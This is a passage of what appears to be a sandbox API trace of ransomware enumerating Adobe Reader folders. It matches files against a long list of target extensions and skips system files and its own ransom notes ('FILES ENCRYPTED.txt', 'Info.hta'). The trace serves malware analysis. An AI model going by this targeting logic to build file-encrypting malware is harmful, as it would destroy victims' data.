lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff0576b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff0576b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bca0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdf-rna-selector.js", cAlternateFileName="EXPORT~2.JS")) returned 1 [0276.805] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x602eb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdf-rna-tool-view.js", cAlternateFileName="EXPORT~1.JS")) returned 1 [0276.805] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefedf550, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefedf550, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff0576b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x602eb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="exportpdf-rna-tool-view.js", cAlternateFileName="EXPORT~1.JS")) returned 0 [0276.805] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0276.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0276.807] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 1 [0276.807] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins") returned 136 [0276.807] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins") returned 1 [0276.807] lstrlenW (lpString="selection-action-plugins") returned 24 [0276.807] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="selection-action-plugins") returned -1 [0276.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0276.807] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins") returned 136 [0276.807] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0276.807] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.807] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cpdf", cAlternateFileName="")) returned 1 [0276.807] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf") returned 141 [0276.807] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf") returned 1 [0276.807] lstrlenW (lpString="cpdf") returned 4 [0276.807] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="cpdf") returned -1 [0276.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0276.808] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf") returned 141 [0276.808] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\*", lpFindFileData=0x2e8da30 | out: lpFindFileData=0x2e8da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0276.808] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8da30 | out: lpFindFileData=0x2e8da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.808] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8da30 | out: lpFindFileData=0x2e8da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0276.808] lstrlenW (lpString="plugin.js") returned 9 [0276.808] lstrlenW (lpString=".1cd") returned 4 [0276.808] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0276.808] lstrlenW (lpString=".3ds") returned 4 [0276.808] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1 [0276.808] lstrlenW (lpString=".3fr") returned 4 [0276.808] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1 [0276.809] lstrlenW (lpString=".3g2") returned 4 [0276.809] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1 [0276.809] lstrlenW (lpString=".3gp") returned 4 [0276.809] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1 [0276.809] lstrlenW (lpString=".7z") returned 3 [0276.809] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.809] lstrlenW (lpString=".accda") returned 6 [0276.809] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1 [0276.809] lstrlenW (lpString=".accdb") returned 6 [0276.809] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1 [0276.809] lstrlenW (lpString=".accdc") returned 6 [0276.809] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1 [0276.809] lstrlenW (lpString=".accde") returned 6 [0276.809] lstrcmpiW (lpString1=".accde", lpString2="gin.js") returned -1 [0276.809] lstrlenW (lpString=".accdt") returned 6 [0276.809] lstrcmpiW (lpString1=".accdt", lpString2="gin.js") returned -1 [0276.809] lstrlenW (lpString=".accdw") returned 6 [0276.809] lstrcmpiW (lpString1=".accdw", lpString2="gin.js") returned -1 [0276.809] lstrlenW (lpString=".adb") returned 4 [0276.809] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1 [0276.809] lstrlenW (lpString=".adp") returned 4 [0276.809] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1 [0276.809] lstrlenW (lpString=".ai") returned 3 [0276.809] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.809] lstrlenW (lpString=".ai3") returned 4 [0276.809] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1 [0276.809] lstrlenW (lpString=".ai4") returned 4 [0276.809] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1 [0276.809] lstrlenW (lpString=".ai5") returned 4 [0276.809] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1 [0276.809] lstrlenW (lpString=".ai6") returned 4 [0276.809] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1 [0276.809] lstrlenW (lpString=".ai7") returned 4 [0276.810] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1 [0276.810] lstrlenW (lpString=".ai8") returned 4 [0276.810] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1 [0276.810] lstrlenW (lpString=".anim") returned 5 [0276.810] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1 [0276.810] lstrlenW (lpString=".arw") returned 4 [0276.810] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1 [0276.810] lstrlenW (lpString=".as") returned 3 [0276.810] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.810] lstrlenW (lpString=".asa") returned 4 [0276.810] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1 [0276.810] lstrlenW (lpString=".asc") returned 4 [0276.810] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1 [0276.810] lstrlenW (lpString=".ascx") returned 5 [0276.810] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1 [0276.810] lstrlenW (lpString=".asm") returned 4 [0276.810] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1 [0276.810] lstrlenW (lpString=".asmx") returned 5 [0276.810] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1 [0276.810] lstrlenW (lpString=".asp") returned 4 [0276.810] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1 [0276.810] lstrlenW (lpString=".aspx") returned 5 [0276.810] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1 [0276.810] lstrlenW (lpString=".asr") returned 4 [0276.810] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1 [0276.810] lstrlenW (lpString=".asx") returned 4 [0276.810] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1 [0276.810] lstrlenW (lpString=".avi") returned 4 [0276.810] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1 [0276.810] lstrlenW (lpString=".avs") returned 4 [0276.810] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1 [0276.810] lstrlenW (lpString=".backup") returned 7 [0276.810] lstrcmpiW (lpString1=".backup", lpString2="ugin.js") returned -1 [0276.811] lstrlenW (lpString=".bak") returned 4 [0276.811] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1 [0276.811] lstrlenW (lpString=".bay") returned 4 [0276.811] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1 [0276.811] lstrlenW (lpString=".bd") returned 3 [0276.811] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.811] lstrlenW (lpString=".bin") returned 4 [0276.811] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1 [0276.811] lstrlenW (lpString=".bmp") returned 4 [0276.811] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1 [0276.811] lstrlenW (lpString=".bz2") returned 4 [0276.811] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0276.811] lstrlenW (lpString=".c") returned 2 [0276.811] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.811] lstrlenW (lpString=".cdr") returned 4 [0276.811] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1 [0276.811] lstrlenW (lpString=".cer") returned 4 [0276.811] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1 [0276.811] lstrlenW (lpString=".cf") returned 3 [0276.811] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.811] lstrlenW (lpString=".cfc") returned 4 [0276.811] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1 [0276.811] lstrlenW (lpString=".cfm") returned 4 [0276.811] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1 [0276.811] lstrlenW (lpString=".cfml") returned 5 [0276.811] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1 [0276.811] lstrlenW (lpString=".cfu") returned 4 [0276.811] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1 [0276.811] lstrlenW (lpString=".chm") returned 4 [0276.811] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1 [0276.811] lstrlenW (lpString=".cin") returned 4 [0276.811] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1 [0276.812] lstrlenW (lpString=".class") returned 6 [0276.812] lstrcmpiW (lpString1=".class", lpString2="gin.js") returned -1 [0276.812] lstrlenW (lpString=".clx") returned 4 [0276.812] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1 [0276.812] lstrlenW (lpString=".config") returned 7 [0276.812] lstrcmpiW (lpString1=".config", lpString2="ugin.js") returned -1 [0276.812] lstrlenW (lpString=".cpp") returned 4 [0276.812] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1 [0276.812] lstrlenW (lpString=".cr2") returned 4 [0276.812] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1 [0276.812] lstrlenW (lpString=".crt") returned 4 [0276.812] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1 [0276.812] lstrlenW (lpString=".crw") returned 4 [0276.812] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1 [0276.812] lstrlenW (lpString=".cs") returned 3 [0276.812] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.812] lstrlenW (lpString=".css") returned 4 [0276.812] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1 [0276.812] lstrlenW (lpString=".csv") returned 4 [0276.812] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1 [0276.812] lstrlenW (lpString=".cub") returned 4 [0276.812] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1 [0276.812] lstrlenW (lpString=".dae") returned 4 [0276.812] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1 [0276.812] lstrlenW (lpString=".dat") returned 4 [0276.813] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".db") returned 3 [0276.813] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.813] lstrlenW (lpString=".dbf") returned 4 [0276.813] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".dbx") returned 4 [0276.813] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".dc3") returned 4 [0276.813] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".dcm") returned 4 [0276.813] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".dcr") returned 4 [0276.813] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".der") returned 4 [0276.813] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".dib") returned 4 [0276.813] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".dic") returned 4 [0276.813] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".dif") returned 4 [0276.813] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".divx") returned 5 [0276.813] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1 [0276.813] lstrlenW (lpString=".djvu") returned 5 [0276.813] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1 [0276.813] lstrlenW (lpString=".dng") returned 4 [0276.813] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".doc") returned 4 [0276.813] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".docm") returned 5 [0276.813] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1 [0276.813] lstrlenW (lpString=".docx") returned 5 [0276.813] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0276.813] lstrlenW (lpString=".dot") returned 4 [0276.813] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1 [0276.813] lstrlenW (lpString=".dotm") returned 5 [0276.814] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1 [0276.814] lstrlenW (lpString=".dotx") returned 5 [0276.814] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1 [0276.814] lstrlenW (lpString=".dpx") returned 4 [0276.814] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1 [0276.814] lstrlenW (lpString=".dqy") returned 4 [0276.814] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1 [0276.814] lstrlenW (lpString=".dsn") returned 4 [0276.814] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1 [0276.814] lstrlenW (lpString=".dt") returned 3 [0276.814] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.814] lstrlenW (lpString=".dtd") returned 4 [0276.814] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1 [0276.814] lstrlenW (lpString=".dwg") returned 4 [0276.814] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1 [0276.814] lstrlenW (lpString=".dwt") returned 4 [0276.814] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1 [0276.814] lstrlenW (lpString=".dx") returned 3 [0276.814] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.814] lstrlenW (lpString=".dxf") returned 4 [0276.814] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1 [0276.814] lstrlenW (lpString=".edml") returned 5 [0276.814] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1 [0276.814] lstrlenW (lpString=".efd") returned 4 [0276.814] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1 [0276.814] lstrlenW (lpString=".elf") returned 4 [0276.814] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1 [0276.814] lstrlenW (lpString=".emf") returned 4 [0276.814] lstrcmpiW (lpString1=".emf", lpString2="n.js") returned -1 [0276.814] lstrlenW (lpString=".emz") returned 4 [0276.814] lstrcmpiW (lpString1=".emz", lpString2="n.js") returned -1 [0276.814] lstrlenW (lpString=".epf") returned 4 [0276.814] lstrcmpiW (lpString1=".epf", lpString2="n.js") returned -1 [0276.814] lstrlenW (lpString=".eps") returned 4 [0276.814] lstrcmpiW (lpString1=".eps", lpString2="n.js") returned -1 [0276.815] lstrlenW (lpString=".epsf") returned 5 [0276.815] lstrcmpiW (lpString1=".epsf", lpString2="in.js") returned -1 [0276.815] lstrlenW (lpString=".epsp") returned 5 [0276.815] lstrcmpiW (lpString1=".epsp", lpString2="in.js") returned -1 [0276.815] lstrlenW (lpString=".erf") returned 4 [0276.815] lstrcmpiW (lpString1=".erf", lpString2="n.js") returned -1 [0276.815] lstrlenW (lpString=".exr") returned 4 [0276.815] lstrcmpiW (lpString1=".exr", lpString2="n.js") returned -1 [0276.815] lstrlenW (lpString=".f4v") returned 4 [0276.815] lstrcmpiW (lpString1=".f4v", lpString2="n.js") returned -1 [0276.815] lstrlenW (lpString=".fido") returned 5 [0276.815] lstrcmpiW (lpString1=".fido", lpString2="in.js") returned -1 [0276.815] lstrlenW (lpString=".flm") returned 4 [0276.815] lstrcmpiW (lpString1=".flm", lpString2="n.js") returned -1 [0276.815] lstrlenW (lpString=".flv") returned 4 [0276.815] lstrcmpiW (lpString1=".flv", lpString2="n.js") returned -1 [0276.815] lstrlenW (lpString=".frm") returned 4 [0276.815] lstrcmpiW (lpString1=".frm", lpString2="n.js") returned -1 [0276.815] lstrlenW (lpString=".fxg") returned 4 [0276.815] lstrcmpiW (lpString1=".fxg", lpString2="n.js") returned -1 [0276.815] lstrlenW (lpString=".geo") returned 4 [0276.815] lstrcmpiW (lpString1=".geo", lpString2="n.js") returned -1 [0276.815] lstrlenW (lpString=".gif") returned 4 [0276.815] lstrcmpiW (lpString1=".gif", lpString2="n.js") returned -1 [0276.815] lstrlenW (lpString=".grs") returned 4 [0276.815] lstrcmpiW (lpString1=".grs", lpString2="n.js") returned -1 [0276.815] lstrlenW (lpString=".gz") returned 3 [0276.815] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0276.815] lstrlenW (lpString=".h") returned 2 [0276.815] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0276.815] lstrlenW (lpString=".hdr") returned 4 [0276.815] lstrcmpiW (lpString1=".hdr", lpString2="n.js") returned -1 [0276.815] lstrlenW (lpString=".hpp") returned 4 [0276.815] lstrcmpiW (lpString1=".hpp", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".hta") returned 4 [0276.816] lstrcmpiW (lpString1=".hta", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".htc") returned 4 [0276.816] lstrcmpiW (lpString1=".htc", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".htm") returned 4 [0276.816] lstrcmpiW (lpString1=".htm", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".html") returned 5 [0276.816] lstrcmpiW (lpString1=".html", lpString2="in.js") returned -1 [0276.816] lstrlenW (lpString=".icb") returned 4 [0276.816] lstrcmpiW (lpString1=".icb", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".ics") returned 4 [0276.816] lstrcmpiW (lpString1=".ics", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".iff") returned 4 [0276.816] lstrcmpiW (lpString1=".iff", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".inc") returned 4 [0276.816] lstrcmpiW (lpString1=".inc", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".indd") returned 5 [0276.816] lstrcmpiW (lpString1=".indd", lpString2="in.js") returned -1 [0276.816] lstrlenW (lpString=".ini") returned 4 [0276.816] lstrcmpiW (lpString1=".ini", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".iqy") returned 4 [0276.816] lstrcmpiW (lpString1=".iqy", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".j2c") returned 4 [0276.816] lstrcmpiW (lpString1=".j2c", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".j2k") returned 4 [0276.816] lstrcmpiW (lpString1=".j2k", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".java") returned 5 [0276.816] lstrcmpiW (lpString1=".java", lpString2="in.js") returned -1 [0276.816] lstrlenW (lpString=".jp2") returned 4 [0276.816] lstrcmpiW (lpString1=".jp2", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".jpc") returned 4 [0276.816] lstrcmpiW (lpString1=".jpc", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".jpe") returned 4 [0276.816] lstrcmpiW (lpString1=".jpe", lpString2="n.js") returned -1 [0276.816] lstrlenW (lpString=".jpeg") returned 5 [0276.816] lstrcmpiW (lpString1=".jpeg", lpString2="in.js") returned -1 [0276.817] lstrlenW (lpString=".jpf") returned 4 [0276.817] lstrcmpiW (lpString1=".jpf", lpString2="n.js") returned -1 [0276.817] lstrlenW (lpString=".jpg") returned 4 [0276.817] lstrcmpiW (lpString1=".jpg", lpString2="n.js") returned -1 [0276.817] lstrlenW (lpString=".jpx") returned 4 [0276.817] lstrcmpiW (lpString1=".jpx", lpString2="n.js") returned -1 [0276.817] lstrlenW (lpString=".js") returned 3 [0276.817] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0276.817] lstrlenW (lpString="plugin.js") returned 9 [0276.817] lstrlenW (lpString=".love$") returned 6 [0276.817] lstrcmpiW (lpString1=".love$", lpString2="gin.js") returned -1 [0276.817] lstrlenW (lpString="plugin.js") returned 9 [0276.817] lstrcmpiW (lpString1="boot.ini", lpString2="plugin.js") returned -1 [0276.817] lstrcmpiW (lpString1="bootfont.bin", lpString2="plugin.js") returned -1 [0276.817] lstrcmpiW (lpString1="ntldr", lpString2="plugin.js") returned -1 [0276.817] lstrcmpiW (lpString1="ntdetect.com", lpString2="plugin.js") returned -1 [0276.817] lstrcmpiW (lpString1="io.sys", lpString2="plugin.js") returned -1 [0276.817] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="plugin.js") returned -1 [0276.817] lstrcmpiW (lpString1="Info.hta", lpString2="plugin.js") returned -1 [0276.817] lstrcmpiW (lpString1="finbbp.exe", lpString2="plugin.js") returned -1 [0276.817] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\plugins\\selection-action-plugins\\cpdf\\plugin.js") returned 151 [0276.817] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8da30 | out: lpFindFileData=0x2e8da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0276.817] lstrlenW (lpString="selector.js") returned 11 [0276.817] lstrlenW (lpString=".1cd") returned 4 [0276.817] lstrcmpiW (lpString1=".1cd", lpString2="r.js") returned -1 [0276.817] lstrlenW (lpString=".3ds") returned 4 [0276.817] lstrcmpiW (lpString1=".3ds", lpString2="r.js") returned -1 [0276.817] lstrlenW (lpString=".3fr") returned 4 [0276.817] lstrcmpiW (lpString1=".3fr", lpString2="r.js") returned -1 [0276.817] lstrlenW (lpString=".3g2") returned 4 [0276.817] lstrcmpiW (lpString1=".3g2", lpString2="r.js") returned -1 [0276.817] lstrlenW (lpString=".3gp") returned 4 [0276.818] lstrcmpiW (lpString1=".3gp", lpString2="r.js") returned -1 [0276.818] lstrlenW (lpString=".7z") returned 3 [0276.818] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.818] lstrlenW (lpString=".accda") returned 6 [0276.818] lstrcmpiW (lpString1=".accda", lpString2="tor.js") returned -1 [0276.818] lstrlenW (lpString=".accdb") returned 6 [0276.818] lstrcmpiW (lpString1=".accdb", lpString2="tor.js") returned -1 [0276.818] lstrlenW (lpString=".accdc") returned 6 [0276.818] lstrcmpiW (lpString1=".accdc", lpString2="tor.js") returned -1 [0276.818] lstrlenW 